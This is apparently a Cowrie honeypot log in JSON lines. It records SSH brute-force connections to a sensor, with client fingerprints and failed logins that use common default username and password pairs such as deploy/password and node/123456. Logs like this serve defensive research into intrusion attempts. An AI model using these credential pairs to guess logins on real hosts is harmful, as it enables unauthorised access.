{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33300,"dst_ip":"159.203.135.109","dst_port":22,"session":"1178e7e1923d","protocol":"ssh","message":"New connection: 192.109.200.78:33300 (159.203.135.109:22) [session: 1178e7e1923d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:54.331461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:54.336405Z","src_ip":"192.109.200.78","session":"1178e7e1923d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":56773,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91781fcfe84","protocol":"telnet","message":"New connection: 152.59.179.89:56773 (10.17.0.5:23) [session: f91781fcfe84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:54.418430Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:54.427505Z","src_ip":"192.109.200.78","session":"1178e7e1923d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:54.435526Z","src_ip":"80.94.92.186","session":"09278e3c088a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:54.439005Z","src_ip":"80.94.92.186","session":"09278e3c088a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:54.667097Z","src_ip":"176.65.139.95","session":"80617e911a07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:54.675152Z","src_ip":"192.109.200.78","session":"1178e7e1923d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:55.802386Z","src_ip":"192.109.200.78","session":"1178e7e1923d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:55.972789Z","src_ip":"80.94.92.186","session":"09278e3c088a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:57.123249Z","src_ip":"80.94.92.186","session":"09278e3c088a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49538,"dst_ip":"159.203.135.109","dst_port":22,"session":"19ba6c6663a4","protocol":"ssh","message":"New connection: 192.109.200.78:49538 (159.203.135.109:22) [session: 19ba6c6663a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:58.580766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:58.585814Z","src_ip":"192.109.200.78","session":"19ba6c6663a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:58.671875Z","src_ip":"192.109.200.78","session":"19ba6c6663a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:58.917367Z","src_ip":"192.109.200.78","session":"19ba6c6663a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45334,"dst_ip":"159.203.135.109","dst_port":22,"session":"817e18fef0ea","protocol":"ssh","message":"New connection: 176.65.139.95:45334 (159.203.135.109:22) [session: 817e18fef0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:59.380282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:59.385593Z","src_ip":"176.65.139.95","session":"817e18fef0ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:59.467450Z","src_ip":"176.65.139.95","session":"817e18fef0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:59.934928Z","src_ip":"176.65.139.95","session":"817e18fef0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:00.009753Z","src_ip":"192.109.200.78","session":"19ba6c6663a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:01.099402Z","src_ip":"176.65.139.95","session":"817e18fef0ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49552,"dst_ip":"159.203.135.109","dst_port":22,"session":"2508163a5ed6","protocol":"ssh","message":"New connection: 192.109.200.78:49552 (159.203.135.109:22) [session: 2508163a5ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:03.500256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:03.505245Z","src_ip":"192.109.200.78","session":"2508163a5ed6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:03.593996Z","src_ip":"192.109.200.78","session":"2508163a5ed6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:03.854259Z","src_ip":"192.109.200.78","session":"2508163a5ed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:04.942605Z","src_ip":"192.109.200.78","session":"2508163a5ed6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45346,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a94522b0817","protocol":"ssh","message":"New connection: 176.65.139.95:45346 (159.203.135.109:22) [session: 9a94522b0817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:05.707206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:05.715455Z","src_ip":"176.65.139.95","session":"9a94522b0817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:06.186542Z","src_ip":"176.65.139.95","session":"9a94522b0817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:06.585083Z","src_ip":"176.65.139.95","session":"9a94522b0817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49554,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e52e034e9f9","protocol":"ssh","message":"New connection: 192.109.200.78:49554 (159.203.135.109:22) [session: 6e52e034e9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:06.693569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:06.698761Z","src_ip":"192.109.200.78","session":"6e52e034e9f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:06.783695Z","src_ip":"192.109.200.78","session":"6e52e034e9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:07.062751Z","src_ip":"192.109.200.78","session":"6e52e034e9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:07.684247Z","src_ip":"176.65.139.95","session":"9a94522b0817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:08.216920Z","src_ip":"192.109.200.78","session":"6e52e034e9f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39218,"dst_ip":"159.203.135.109","dst_port":22,"session":"87d9fdaf5941","protocol":"ssh","message":"New connection: 192.109.200.78:39218 (159.203.135.109:22) [session: 87d9fdaf5941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:10.876992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:10.881938Z","src_ip":"192.109.200.78","session":"87d9fdaf5941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:10.965096Z","src_ip":"192.109.200.78","session":"87d9fdaf5941","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:11.503500Z","src_ip":"192.109.200.78","session":"87d9fdaf5941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":41934,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eb1f324ad3a","protocol":"ssh","message":"New connection: 176.65.139.95:41934 (159.203.135.109:22) [session: 0eb1f324ad3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:12.504934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:12.512679Z","src_ip":"176.65.139.95","session":"0eb1f324ad3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:12.589564Z","src_ip":"192.109.200.78","session":"87d9fdaf5941","protocol":"ssh"}
